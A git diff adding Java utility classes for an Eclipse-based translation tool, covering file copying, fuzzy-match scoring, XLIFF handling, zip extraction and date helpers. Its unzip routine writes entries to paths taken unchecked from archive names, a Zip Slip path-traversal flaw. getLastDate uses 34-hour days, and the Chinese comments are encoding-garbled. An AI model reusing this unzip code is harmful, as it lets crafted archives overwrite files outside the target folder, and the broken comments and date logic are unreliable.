+ +public class ResourceUtils { + private static final int DEFAULT_BUFFER_SIZE = 16 * 1024; + private static IWorkspaceRoot root = ResourcesPlugin.getWorkspace().getRoot(); + + /** + * 得到æŸå®¹å™¨ä¸‹ï¼ˆIContainer 对象)的指定åŽç¼€å的所有文件(包括å­æ–‡ä»¶å¤¹ä¸­çš„文件); + *

+ * example: + *

  • getFiles(folder, files, "xlf", ".sdlxliff"); // 得到指定文件夹下的所有 XLIFF 文件
  • + *
  • getFiles(folder, files, "xlf", "tmx", "tbx"); // 得到指定文件夹下的所有 XLIFFã€TMXã€TBX 文件
  • + *

    + * @param container + * 容器(IContainer 对象) + * @param files + * files æ–‡ä»¶é›†åˆ + * @param fileExtensions + * 文件åŽç¼€å + * @throws CoreException + * ; + */ + public static void getFiles(IContainer container, ArrayList files, String... fileExtensions) + throws CoreException { + if (files == null) { + files = new ArrayList(); + } + IResource[] members = container.members(); + for (IResource r : members) { + if (r instanceof IFile) { + if (fileExtensions == null || fileExtensions.length == 0 + || CommonFunction.containsIgnoreCase(fileExtensions, r.getFileExtension())) { + files.add((IFile) r); + } + } else if (r instanceof IFolder) { + getFiles((IFolder) r, files, fileExtensions); + } + } + } + + /** + * 获å–当å‰æ–‡ä»¶å¤¹æˆ–项目下的所有xliff文件 + * @param container + * @param files + * @throws CoreException + */ + public static void getXliffs(IContainer container, ArrayList files) throws CoreException { + getFiles(container, files, CommonFunction.xlfExtesionArray); + } + + /** + * 将指定的IFile转æ¢æˆç³»ç»Ÿçš„完整路径 + * @param iFile + * @return ; + */ + public static String iFileToOSPath(IFile iFile) { + return iFile.getLocation().toOSString(); + } + + /** + * 将一组IFile对象转æ¢ä¸ºç³»ç»Ÿçš„完整路径 + * @param iFiles + * @return ; + */ + public static List IFilesToOsPath(List iFiles) { + List list = new ArrayList(); + for (int i = 0; i < iFiles.size(); i++) { + list.add(iFileToOSPath(iFiles.get(i))); + } + return list; + } + + /** + * å°† {@link org.eclipse.core.resources.IFile} 对象转æ¢ä¸º {@link java.io.File} 对象 + * @param iFile + * {@link org.eclipse.core.resources.IFile} 对象 + * @return {@link java.io.File} 对象; + */ + public static File iFileToFile(IFile iFile) { + return iFile.getLocation().toFile(); + } + + /** + * 将一组 {@link org.eclipse.core.resources.IFile} 对象转æ¢ä¸º {@link java.io.File} 对象 + * @param iFiles + * {@link org.eclipse.core.resources.IFile} å¯¹è±¡é›†åˆ + * @return {@link java.io.File} 对象集åˆ; + */ + public static List iFilesToFiles(List iFiles) { + ArrayList list = new ArrayList(); + for (int i = 0; i < iFiles.size(); i++) { + list.add(iFileToFile(iFiles.get(i))); + } + return list; + } + + /** + * 将文件从一个地方å¤åˆ¶åˆ°å¦ä¸€ä¸ªåœ°æ–¹ peason 2012-02-17 + * @param srcPath + * @param dstPath + * @throws IOException + * ; + */ + public static void copyDirectory(File srcPath, File dstPath) throws IOException { + if (srcPath.isDirectory()) { + if (!dstPath.exists()) { + dstPath.mkdirs(); + } + String files[] = srcPath.list(); + for (int i = 0; i < files.length; i++) { + copyDirectory(new File(srcPath, files[i]), new File(dstPath, files[i])); + } + } else { + if (srcPath.exists()) { + InputStream in = new FileInputStream(srcPath); + OutputStream out = new FileOutputStream(dstPath); + byte[] buf = new byte[1024]; + int len; + while ((len = in.read(buf)) > 0) { + out.write(buf, 0, len); + } + in.close(); + out.close(); + } + } + } + + /** + * å¤åˆ¶ä¸€ä¸ªæ–‡ä»¶åˆ°å¦ä¸€ä¸ªæ–‡ä»¶ --Robert 2013-04-10 + * @param in è¦å¤åˆ¶çš„æºæ–‡ä»¶ + * @param out è¦å¤åˆ¶çš„目标文件 + * @throws IOException + */ + public static void copyFile(File in, File out) throws IOException { + BufferedInputStream bis = null; + BufferedOutputStream bos = null; + try { + bis = new BufferedInputStream(new FileInputStream(in)); + bos = new BufferedOutputStream(new FileOutputStream(out)); + int available = bis.available(); + available = available <= 0 ? DEFAULT_BUFFER_SIZE : available; + int chunkSize = Math.min(DEFAULT_BUFFER_SIZE, available); + byte[] buffer = new byte[chunkSize]; + int byteread = 0; + while ((byteread = bis.read(buffer)) > 0) { + bos.write(buffer, 0, byteread); + } + } finally { + if (bis != null) { + bis.close(); + } + if (bos != null) { + bos.close(); + } + } + } + + /** + * 得到工作空间中的路径。 + * @param conversionItem + * @return ; + */ + public static String toWorkspacePath(String localPath) { + IFile file = root.getFileForLocation(new Path(localPath)); + return file != null ? file.getFullPath().toOSString() : localPath; + } + + /** + * 得到工作空间中的路径。 + * @param conversionItem + * @return ; + */ + public static String toWorkspacePath(IPath localPath) { + IFile file = root.getFileForLocation(localPath); + return file != null ? file.getFullPath().toOSString() : localPath.toOSString(); + } + + public static IFile fileToIFile(String filePath){ + IPath path = Path.fromOSString(filePath); + IFile iFile = root.getFileForLocation(path); + return iFile; + } + + /** + * 将一个file集åˆè½¬æ¢æˆIFileé›†åˆ robert 2012-05-06 + * @param filePath + * @return + */ + public static List filesToIFiles(List fileList){ + List iFileList = new ArrayList(); + for(File file : fileList){ + IPath path = Path.fromOSString(file.getAbsolutePath()); + iFileList.add(root.getFileForLocation(path)); + } + return iFileList; + } +} diff --git a/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/tm/MatchQuality.java b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/tm/MatchQuality.java new file mode 100644 index 0000000..9342e48 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/tm/MatchQuality.java @@ -0,0 +1,125 @@ +package net.heartsome.cat.common.tm; + +/** + * 匹é…率 + * @author weachy + * @version + * @since JDK1.5 + */ +public class MatchQuality { + + static final int PENALTY = 2; + static String[] ignorables; + static boolean loaded; // default value for a boolean is "false" + + static String LCS(String x, String y) { + String result = ""; //$NON-NLS-1$ + int M = x.length(); + int N = y.length(); + int max = 0; + int mx = 0; + + // opt[i][j] = length of LCS of x[i..M] and y[j..N] + int[][] opt = new int[M + 1][N + 1]; + + // fill the matrix + for (int i = 1; i <= M; i++) { + for (int j = 1; j <= N; j++) { + if (x.charAt(i - 1) == y.charAt(j - 1)) { + opt[i][j] = opt[i - 1][j - 1] + 1; + if (opt[i][j] > max) { + // remember where the maximum length is + max = opt[i][j]; + mx = i; + } + } else { + opt[i][j] = 0; + } + } + } + + // recover the LCS + while (max > 0) { + result = x.charAt(mx - 1) + result; + max--; + mx--; + } + + return result; + } + + /** + * 比较相似性 + * @param x + * @param y + * @return ; + */ + public static int similarity(String x, String y) { + + if (!loaded) { + loadIgnorables(); + } + + int result = 0; + x = x.trim(); + y = y.trim(); + for (int i = 0; i < ignorables.length; i++) { + x = x.replaceAll(ignorables[i], ""); //$NON-NLS-1$ + y = y.replaceAll(ignorables[i], ""); //$NON-NLS-1$ + } + int longest = Math.max(x.length(), y.length()); + if (longest == 0) { + return 0; + } + String a, b; + if (x.length() == longest) { + a = x; + b = y; + } else { + a = y; + b = x; + } + // a is the longest string + int count = -1; + int idx; + String lcs = LCS(a, b); + while (!lcs.trim().equals("") && lcs.length() > longest * PENALTY / 100) { //$NON-NLS-1$ + count++; + idx = a.indexOf(lcs); + a = a.substring(0, idx) + a.substring(idx + lcs.length()); + idx = b.indexOf(lcs); + b = b.substring(0, idx) + b.substring(idx + lcs.length()); + lcs = LCS(a, b); + } + result = 100 * (longest - a.length()) / longest - count * PENALTY; + if (result < 0) { + result = 0; + } + return result; + } + + public static void main(String[] args) { + String x = "Heimdal - 4 Channel Room Monitoring"; + String y = "4 Channel Room Monitoring System — Heimdal"; + System.out.println(similarity(x, y)); + + x = "string with tatw\u0640eel inside"; + y = "string with tatweel inside"; + System.out.println(similarity(x, y)); + + } + + private static void loadIgnorables() { + // IPreferenceStore store = Activator.getDefault().getPreferenceStore(); + // String ignorableChars = store.getString(IPreferenceConstants.IGNORABLE_CHARS); + String ignorableChars = null; + if (ignorableChars == null || "".equals(ignorableChars)) { + ignorableChars = "\\u0640"; + // store.setValue(IPreferenceConstants.IGNORABLE_CHARS, "\\u0640"); + } + ignorables = ignorableChars.split(","); + + loaded = true; + } + +} \ No newline at end of file diff --git a/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/util/CommonFunction.java b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/util/CommonFunction.java new file mode 100644 index 0000000..4baebce --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/util/CommonFunction.java @@ -0,0 +1,586 @@ +package net.heartsome.cat.common.util; + +import java.io.BufferedInputStream; +import java.io.BufferedOutputStream; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.text.DateFormat; +import java.util.ArrayList; +import java.util.Calendar; +import java.util.HashMap; +import java.util.HashSet; +import java.util.List; +import java.util.Map; +import java.util.StringTokenizer; +import java.util.TimeZone; +import java.util.Vector; +import java.util.zip.ZipEntry; +import java.util.zip.ZipInputStream; + +import net.heartsome.cat.common.core.Constant; +import net.heartsome.cat.common.core.resource.Messages; +import net.heartsome.cat.common.resources.ResourceUtils; + +import org.eclipse.core.resources.IFile; +import org.eclipse.core.runtime.FileLocator; +import org.eclipse.core.runtime.Platform; +import org.eclipse.ui.IEditorInput; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IEditorReference; +import org.eclipse.ui.IWorkbench; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.internal.EditorHistory; +import org.eclipse.ui.internal.EditorHistoryItem; +import org.eclipse.ui.internal.Workbench; +import org.eclipse.ui.part.FileEditorInput; +import org.eclipse.ui.part.IPage; +import org.osgi.framework.Bundle; + +import com.ximpleware.AutoPilot; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; + +/** + * 公共方法 + * @author Gonzalo To change the template for this generated type comment go to Window>Preferences>Java>Code + * Generation>Code and Comments + */ +public class CommonFunction { + /** + *
    备注:R8所支æŒçš„文件åŽç¼€å,当åŽæ”¯æŒæ–‡ä»¶åŽç¼€åè¦è¿›è¡Œæ‰©å±•æ—¶ï¼Œä¿®æ”¹å››å¤„,
    + * 第一å³xlfExtensionList常é‡ï¼Œ
    + * 第二在xlfExtesionArrayå˜é‡ï¼Œ
    + * 第三处在nattableæ’件的net.heartsome.cat.ts.ui.xliffeditor.nattable.editor编辑器定义里é¢ã€‚
    + * 第四处为R8XliffExtension常é‡
    + * 别,带 $extension$ 标记的地方,手动修改 + * robert 2012-06-21 + */ + private final static List xlfExtensionList = new ArrayList(); + public final static String[] xlfExtesionArray = new String[]{"hsxliff"}; + /** R8 xliff文件的åŽç¼€å,带“.â€çš„ */ + public final static String R8XliffExtension_1 = ".hsxliff"; + /** R8 xliff文件的åŽç¼€å,ä¸å¸¦â€œ.â€çš„ */ + public final static String R8XliffExtension = "hsxliff"; + + /** r8 系统语言,与prefrenceStore中的数æ®åŒæ­¥ã€‚robert 2012-09-15 */ + private static String systemLanguage = "en"; + private static final String XLIFF_EDITOR_ID = "net.heartsome.cat.ts.ui.xliffeditor.nattable.editor"; + + static{ + xlfExtensionList.add("hsxliff"); + xlfExtensionList.add(".hsxliff"); + } + /** + * 判断数组中是å¦åŒ…å«æŒ‡å®šå…ƒç´  + * @param array + * 数组 + * @param element + * 元素 + * @return ; + */ + public static boolean contains(T[] array, T element) { + if (array == null || array.length == 0) { + return false; + } + for (int i = 0; i < array.length; i++) { + if (array[i] == null) { + if (element == null) { + return true; + } + } else if (array[i].equals(element)) { + return true; + } + } + return false; + } + + /** + * 判断忽略大å°å†™æ—¶å­—符串数组中是å¦åŒ…å«æŒ‡å®šå­—符串。 + * @param stringArray + * 字符串数组 + * @param string + * 字符串 + * @return ; + */ + public static boolean containsIgnoreCase(String[] stringArray, String string) { + if (stringArray == null || stringArray.length == 0) { + return false; + } + for (int i = 0; i < stringArray.length; i++) { + if (stringArray[i] == null) { + if (string == null) { + return true; + } + } else if (stringArray[i].equalsIgnoreCase(string)) { + return true; + } + } + return false; + } + + public static String[] getItemBySeparator(String s, char separator) { + + if (s == null) { + return new String[0]; + } + String separators = "" + separator; //$NON-NLS-1$ + StringTokenizer tokenizer = new StringTokenizer(s, separators); + + int size = tokenizer.countTokens(); + String[] result = new String[size]; + for (int i = 0; i < size; i++) { + result[i] = tokenizer.nextToken(); + } + + return result; + } + + public static String[] vector2StringArray(Vector vector) { + String[] result = new String[vector.size()]; + for (int i = 0; i < vector.size(); i++) { + result[i] = vector.get(i); + } + return result; + } + + public static void stringArray2Vector(String[] stringArray, Vector vector) { + for (int i = 0; i < stringArray.length; i++) { + vector.add(stringArray[i]); + } + } + + /** + * 将数组转为 List + * @param array + * home path + */ + public static List array2List(T[] array) { + ArrayList list = new ArrayList(array.length); + for (int i = 0; i < array.length; i++) { + list.add(array[i]); + } + return list; + } + + public static int indexOf(Vector vector, String string) { + for (int i = 0; i < vector.size(); i++) { + if (vector.get(i).equals(string)) { + return i; + } + } + return -1; + + } + + public static int indexOf(String[] array, String string) { + for (int i = 0; i < array.length; i++) { + if (array[i].equals(string)) { + return i; + } + } + return -1; + } + + public static String[] getWords(String s) { + if (s == null) { + return new String[0]; + } + StringTokenizer tokenizer = new StringTokenizer(s, Constant.SEPARATORS_1, true); + + Vector result = new Vector(); + while (tokenizer.hasMoreTokens()) { + String token = tokenizer.nextToken().trim(); + if (!token.equals("")) { //$NON-NLS-1$ + result.add(token); + } + } + return vector2StringArray(result); + } + + public static String retTMXDate() { + Calendar calendar = Calendar.getInstance(TimeZone.getTimeZone("GMT")); //$NON-NLS-1$ + String sec = (calendar.get(Calendar.SECOND) < 10 ? "0" : "") //$NON-NLS-1$ //$NON-NLS-2$ + + calendar.get(Calendar.SECOND); + String min = (calendar.get(Calendar.MINUTE) < 10 ? "0" : "") //$NON-NLS-1$ //$NON-NLS-2$ + + calendar.get(Calendar.MINUTE); + String hour = (calendar.get(Calendar.HOUR_OF_DAY) < 10 ? "0" : "") //$NON-NLS-1$ //$NON-NLS-2$ + + calendar.get(Calendar.HOUR_OF_DAY); + String mday = (calendar.get(Calendar.DATE) < 10 ? "0" : "") + calendar.get(Calendar.DATE); //$NON-NLS-1$ //$NON-NLS-2$ + String mon = (calendar.get(Calendar.MONTH) < 9 ? "0" : "") //$NON-NLS-1$ //$NON-NLS-2$ + + (calendar.get(Calendar.MONTH) + 1); + String longyear = "" + calendar.get(Calendar.YEAR); //$NON-NLS-1$ + + String date = longyear + mon + mday + "T" + hour + min + sec + "Z"; //$NON-NLS-1$ //$NON-NLS-2$ + return date; + } + + public static String retGMTdate(String TMXDate) { + Calendar calendar = Calendar.getInstance(TimeZone.getTimeZone("GMT")); //$NON-NLS-1$ + try { + int second = Integer.parseInt(TMXDate.substring(13, 15)); + int minute = Integer.parseInt(TMXDate.substring(11, 13)); + int hour = Integer.parseInt(TMXDate.substring(9, 11)); + int date = Integer.parseInt(TMXDate.substring(6, 8)); + int month = Integer.parseInt(TMXDate.substring(4, 6)) - 1; + int year = Integer.parseInt(TMXDate.substring(0, 4)); + calendar.set(year, month, date, hour, minute, second); + DateFormat dt = DateFormat.getDateTimeInstance(); + return dt.format(calendar.getTime()); + } catch (Exception e) { + return ""; //$NON-NLS-1$ + } + } + + + /** + * 得到文件夹下的所有文件(包括å­æ–‡ä»¶å¤¹ä¸­çš„文件)。 + * @param folder + * 文件夹 + * @param fileExtension + * åŽç¼€å + * @param list + * 所有文件 ; + */ + public static void getChildFiles(File folder, String fileExtension, List list) { + if (list == null) { + list = new ArrayList(); + } + if (folder.exists() && folder.isDirectory()) { + File[] files = folder.listFiles(); + for (File file : files) { + if (file.isFile()) { + String fileName = file.getName().toLowerCase(); + if (fileName.endsWith("." + fileExtension)) { + list.add(file); + } + } else if (file.isDirectory()) { + getChildFiles(file, fileExtension, list); + } + } + } + } + + /** + * break a path down into individual elements and add to a list. example : if a path is /a/b/c/d.txt, the breakdown + * will be [d.txt,c,b,a] + * @param file + * input file + * @return a Vector with the individual elements of the path in reverse order + */ + private static Vector getPathList(File file) throws IOException { + Vector list = new Vector(); + File r; + r = file.getCanonicalFile(); + while (r != null) { + list.add(r.getName()); + r = r.getParentFile(); + } + return list; + } + + /** + * figure out a string representing the relative path of 'f' with respect to 'r' + * @param r + * home path + * @param f + * path of file + */ + private static String matchPathLists(Vector r, Vector f) { + int i; + int j; + String s = ""; //$NON-NLS-1$ + // start at the beginning of the lists + // iterate while both lists are equal + i = r.size() - 1; + j = f.size() - 1; + + // first eliminate common root + while (i >= 0 && j >= 0 && r.get(i).equals(f.get(j))) { + i--; + j--; + } + + // for each remaining level in the home path, add a .. + for (; i >= 0; i--) { + s += ".." + File.separator; //$NON-NLS-1$ + } + + // for each level in the file path, add the path + for (; j >= 1; j--) { + s += f.get(j) + File.separator; + } + + // file name + if (j >= 0 && j < f.size()) { + s += f.get(j); + } + return s; + } + + /** + * get relative path of File 'f' with respect to 'home' directory example : home = /a/b/c f = /a/d/e/x.txt s = + * getRelativePath(home,f) = ../../d/e/x.txt + * @param home + * base path, should be a directory, not a file, or it doesn't make sense + * @param f + * file to generate path for + * @return path from home to f as a string + */ + public static String getRelativePath(String homeFile, String filename) throws Exception { + File home = new File(homeFile); + // If home is a file, get the parent + if (!home.isDirectory()) { + home = new File(home.getParent()); + } + File file = new File(filename); + // Check for relative path + if (!home.isAbsolute() || !file.isAbsolute()) { + throw new Exception(Messages.getString("util.CommonFunction.logger1")); + } + Vector homelist; + Vector filelist; + + homelist = getPathList(home); + filelist = getPathList(file); + return matchPathLists(homelist, filelist); + } + + public static String getAbsolutePath(String homeFile, String relative) throws IOException { + File home = new File(homeFile); + // If home is a file, get the parent + File result; + if (home.isDirectory()) { + result = new File(home.getAbsolutePath(), relative); + } else { + result = new File(home.getParent(), relative); + } + return result.getCanonicalPath(); + } + + + /** + * 验è¯xliff文件的åŽç¼€å robert 2012-06-20 + * @param extention + * @return + */ + public static boolean validXlfExtension(String extention){ + return xlfExtensionList.contains(extention); + } + /** + * 通过xliff文件的å称或路径验è¯xliff文件的åŽç¼€å是å¦åˆæ³• robert 2012-06-20 + * @param extention + * @return + */ + public static boolean validXlfExtensionByFileName(String xlfName){ + if (xlfName.lastIndexOf(".") < 0) { + return false; + } + String extention = xlfName.substring(xlfName.lastIndexOf("."), xlfName.length()); + if (extention == null) { + return false; + } + return xlfExtensionList.contains(extention); + } + /** + * 获å–当å‰ç³»ç»Ÿè¯­è¨€ + * @return + */ + public static String getSystemLanguage() { + return systemLanguage; + } + + /** + * 设置当å‰ç³»ç»Ÿè¯­è¨€ï¼Œæ ‡è¯†ï¼Œä¸ŽpreferenceStore中的数æ®åŒæ­¥ + * @return + */ + public static void setSystemLanguage(String systemLanguage) { + CommonFunction.systemLanguage = systemLanguage; + } + + /** + * 删除 é€‰ä¸­æ–‡ä»¶é›†åˆ ä¸­é‡å¤çš„文件 robert 2012-11-09 + * @param selectIFileList + */ + public static void removeRepeateSelect(List selectIFileList){ + HashSet set = new HashSet(selectIFileList); + selectIFileList.clear(); + selectIFileList.addAll(set); + } + + /** + * 验è¯å½“å‰ç‰ˆæœ¬ + * @param editionId + * 版本 Id 值(旗舰版为 U,专业版为 F,个人版为 P,精简版为 L) + * @return ; + */ + public static boolean checkEdition(String editionId) { + return editionId == null ? false : System.getProperty("TSEdition").equals(editionId); + } + + /** + * 当删除一个文件时,刷新历å²è®°å½• --robert 2012-11-20 + */ + @SuppressWarnings("restriction") + public static void refreshHistoryWhenDelete(IEditorInput input){ + IWorkbench workbench = PlatformUI.getWorkbench(); + if (workbench instanceof Workbench) { + EditorHistory history = ((Workbench) workbench).getEditorHistory(); + for (EditorHistoryItem item : history.getItems()) { + if (item.matches(input)) { + history.remove(item); + } + } + history.refresh(); + } + } + + /** + * 判断指定语言是å¦æ˜¯äºšæ´²è¯­ç³» robert 2012-12-27 + * @return + */ + public static boolean isAsiaLang(String lang){ + if (lang.toLowerCase().matches("zh.*|ja.*|ko.*|th.*|he.*")) { + return true; + } + return false; + } + + /** + * 当程åºå¼€å§‹è¿è¡Œæ—¶ï¼Œæ£€æŸ¥ qa æ’件是å¦å­˜åœ¨ï¼Œå¦‚æžœä¸å­˜åœ¨ï¼Œåˆ™ä¸æ‰§è¡Œä»»ä½•æ“作,如果存在,则检查 configuration\net.heartsome.cat.ts.ui\hunspell + * 下é¢æ˜¯å¦æœ‰ hunspell è¿è¡Œæ‰€éœ€è¦çš„è¯å…¸ä»¥åŠè¿è¡Œå‡½æ•°åº“。如果没有,则需è¦ä»Ž qa æ’件中进行获å–,并且解压到上述目录下。 + * robert 2013-02-28 + */ + public static void unZipHunspellDics() throws Exception{ + Bundle bundle = Platform.getBundle("net.heartsome.cat.ts.ui.qa"); + if (bundle == null) { + return; + } + + // 查看解压的 hunspellè¯å…¸ 文件夹是å¦å­˜åœ¨ + String configHunspllDicFolder = Platform.getConfigurationLocation().getURL().getPath() + + "net.heartsome.cat.ts.ui" + System.getProperty("file.separator") + "hunspell" + + System.getProperty("file.separator") + "hunspellDictionaries"; + if (!new File(configHunspllDicFolder).exists()) { + new File(configHunspllDicFolder).mkdirs(); + String hunspellDicZipPath = FileLocator.toFileURL(bundle.getEntry("hunspell/hunspellDictionaries.zip")).getPath(); + upZipFile(hunspellDicZipPath, configHunspllDicFolder); + } + } + + public static String upZipFile(String zipFile, String baseDir) throws IOException { + File f = new File(zipFile); + if (baseDir == null) { + baseDir = f.getPath() + "_files"; + } + ZipInputStream zis = new ZipInputStream(new FileInputStream(f)); + ZipEntry ze; + byte[] buf = new byte[1024]; + while ((ze = zis.getNextEntry()) != null) { + File outFile = getRealFileName(baseDir, ze.getName()); + FileOutputStream os = new FileOutputStream(outFile); + int readLen = 0; + while ((readLen = zis.read(buf, 0, 1024)) != -1) { + os.write(buf, 0, readLen); + } + os.close(); + } + zis.close(); + return baseDir; + } + + /** + * 给定根目录,返回一个相对路径所对应的实际文件å. + * @param baseDir + * 指定根目录 + * @param absFileName + * 相对路径å,æ¥è‡ªäºŽZipEntry中的name + * @return java.io.File 实际的文件 + */ + private static File getRealFileName(String baseDir, String absFileName) { + String[] dirs = absFileName.split("/"); + File ret = new File(baseDir); + if (!ret.exists()) { + ret.mkdirs(); + } + + if ("/".equals(System.getProperty("file.separator"))) { + for (int i = 0; i < dirs.length; i++) { + dirs[i] = dirs[i].replace("\\", "/"); + } + } + + if (dirs.length >= 1) { + for (int i = 0; i < dirs.length - 1; i++) { + ret = new File(ret, dirs[i]); + } + if (!ret.exists()) { + ret.mkdirs(); + } + ret = new File(ret, dirs[dirs.length - 1]); + if(!ret.exists()){ + File p = ret.getParentFile(); + if(!p.exists()){ + p.mkdirs(); + } + } + } + return ret; + } + + /** + * 关闭指定文件的编辑器 -- robert 2013-04-01 + * 备注:这里é¢çš„方法,是ä¸èƒ½èŽ·å– nattable 的实例,故,在处ç†ã€€åˆå¹¶æ‰“开的情况时,是通过 vtd 进行解æžã€€åˆå¹¶ä¸´æ—¶æ–‡ä»¶ä»Žè€ŒèŽ·å–相关文件的 + * @param iFileList + */ + public static void closePointEditor(List iFileList){ + Map openedIfileMap = new HashMap(); + IEditorReference[] referenceArray = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage().getEditorReferences(); + for(IEditorReference reference : referenceArray){ + IEditorPart editor = reference.getEditor(true); + IFile iFile = ((FileEditorInput)editor.getEditorInput()).getFile(); + // 如果这是一个 nattable 编辑器 + if (XLIFF_EDITOR_ID.equals(editor.getSite().getId())) { + String iFilePath = iFile.getLocation().toOSString(); + String extension = iFile.getFileExtension(); + if ("hsxliff".equals(extension)) { + openedIfileMap.put(iFile, editor); + }else if ("xlp".equals(extension)) { + // 这是åˆå¹¶æ‰“开的情况 + // 开始解æžè¿™ä¸ªåˆå¹¶æ‰“开临时文件,获å–åˆå¹¶æ‰“开的文件。 + VTDGen vg = new VTDGen(); + if (vg.parseFile(iFilePath, true)) { + VTDNav vn = vg.getNav(); + AutoPilot ap = new AutoPilot(vn); + try { + ap.selectXPath("/mergerFiles/mergerFile/@filePath"); + int index = -1; + while ((index = ap.evalXPath()) != -1) { + String fileLC = vn.toString(index + 1); + if (fileLC != null && !"".equals(fileLC)) { + openedIfileMap.put(ResourceUtils.fileToIFile(fileLC), editor); + } + } + } catch (Exception e) { + e.printStackTrace(); + } + } + } + }else { + // 其他情况,直接将文件丢进去就行了 + openedIfileMap.put(iFile, editor); + } + + IWorkbenchPage page = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage(); + + for(IFile curIfile : iFileList){ + if (openedIfileMap.containsKey(curIfile)) { + page.closeEditor(openedIfileMap.get(curIfile), false); + } + } + } + } + +} diff --git a/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/util/DateUtils.java b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/util/DateUtils.java new file mode 100644 index 0000000..a7b1c84 --- /dev/null +++ b/base_commons/net.heartsome.cat.common.core/src/net/heartsome/cat/common/util/DateUtils.java @@ -0,0 +1,785 @@ +package net.heartsome.cat.common.util; + +import java.text.ParseException; +import java.text.ParsePosition; +import java.text.SimpleDateFormat; +import java.util.Calendar; +import java.util.Date; +import java.util.GregorianCalendar; +import java.util.Locale; +import java.util.Random; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +/** + * æ—¶é—´å¤„ç† + * @author Jason + * @version + * @since JDK1.6 + */ +public class DateUtils { + public static Calendar calendar = new GregorianCalendar(); // 默认当å‰æ—¶é—´çš„实例 + + /** + * 获å–现在的年份 + * @return + */ + public static int getCurYear() { + return calendar.get(Calendar.YEAR); + } + + /** + * 获å–现在的年份 + * @param calendar + * @return + */ + public static int getCurYear(Calendar calendar) { + return calendar.get(Calendar.YEAR); + } + + /** + * 获å–现在的月份 + * @return + */ + public static int getCurMonth() { + return calendar.get(Calendar.MONTH); + } + + /** + * 获å–现在的月份 + * @param calendar + * @return 月份从0开始 + */ + public static int getCurMonth(Calendar calendar) { + return calendar.get(Calendar.MONTH); + } + + /** + * 获å–现在的日期 + * @return + */ + public static int getCurDay() { + return calendar.get(Calendar.DAY_OF_MONTH); + } + + /** + * 获å–现在的日期 + * @param calendar + * @return + */ + public static int getCurDay(Calendar calendar) { + return calendar.get(Calendar.DAY_OF_MONTH); + } + + /** + * 获å–现在时间 + * @return 返回时间类型 yyyy-MM-dd HH:mm:ss + */ + public static Date getNowDate() { + Date currentTime = new Date(); + SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + String dateString = formatter.format(currentTime); + ParsePosition pos = new ParsePosition(8); + Date currentTime_2 = formatter.parse(dateString, pos); + return currentTime_2; + } + + /** + * 获å–现在时间 + * @returnè¿”å›žçŸ­æ—¶é—´æ ¼å¼ yyyy-MM-dd + */ + public static Date getNowDateShort() { + Date currentTime = new Date(); + SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd"); + String dateString = formatter.format(currentTime); + ParsePosition pos = new ParsePosition(8); + Date currentTime_2 = formatter.parse(dateString, pos); + return currentTime_2; + } + + /** + * 获å–现在时间 + * @returnè¿”å›žå­—ç¬¦ä¸²æ ¼å¼ yyyy-MM-dd HH:mm:ss + */ + public static String getStringDate() { + Date currentTime = new Date(); + SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + String dateString = formatter.format(currentTime); + return dateString; + } + + /** + * 获å–现在时间 + * @return 返回短时间字符串格å¼yyyy-MM-dd + */ + public static String getStringDateShort() { + Date currentTime = new Date(); + SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd"); + String dateString = formatter.format(currentTime); + return dateString; + } + + /** + * 获å–时间 å°æ—¶:分;秒 HH:mm:ss + * @return + */ + public static String getTimeShort() { + SimpleDateFormat formatter = new SimpleDateFormat("HH:mm:ss"); + Date currentTime = new Date(); + String dateString = formatter.format(currentTime); + return dateString; + } + + /** + * 将长时间格å¼å­—符串转æ¢ä¸ºæ—¶é—´ yyyy-MM-dd HH:mm:ss + * @param strDate + * @return + */ + public static Date strToDateLong(String strDate) { + SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + ParsePosition pos = new ParsePosition(0); + Date strtodate = formatter.parse(strDate, pos); + return strtodate; + } + + /** + * 将长时间格å¼æ—¶é—´è½¬æ¢ä¸ºå­—符串 yyyy-MM-dd HH:mm:ss + * @param dateDate + * @return + */ + public static String dateToStrLong(java.util.Date dateDate) { + SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + String dateString = formatter.format(dateDate); + return dateString; + } + + /** + * 将短时间格å¼æ—¶é—´è½¬æ¢ä¸ºå­—符串 yyyy-MM-dd + * @param dateDate + * @param k + * @return + */ + public static String dateToStr(java.util.Date dateDate) { + SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd"); + String dateString = formatter.format(dateDate); + return dateString; + } + + /** + * 将短时间格å¼å­—符串转æ¢ä¸ºæ—¶é—´ yyyy-MM-dd + * @param strDate + * @return + */ + public static Date strToDate(String strDate) { + SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd"); + ParsePosition pos = new ParsePosition(0); + Date strtodate = formatter.parse(strDate, pos); + return strtodate; + } + + /** + * 得到现在时间 + * @return + */ + public static Date getNow() { + Date currentTime = new Date(); + return currentTime; + } + + /** + * æå–一个月中的最åŽä¸€å¤© + * @param day + * @return + */ + public static Date getLastDate(long day) { + Date date = new Date(); + long date_3_hm = date.getTime() - 3600000 * 34 * day; + Date date_3_hm_date = new Date(date_3_hm); + return date_3_hm_date; + } + + /** + * 得到现在时间 + * @return 字符串 yyyyMMdd HHmmss + */ + public static String getStringToday() { + Date currentTime = new Date(); + 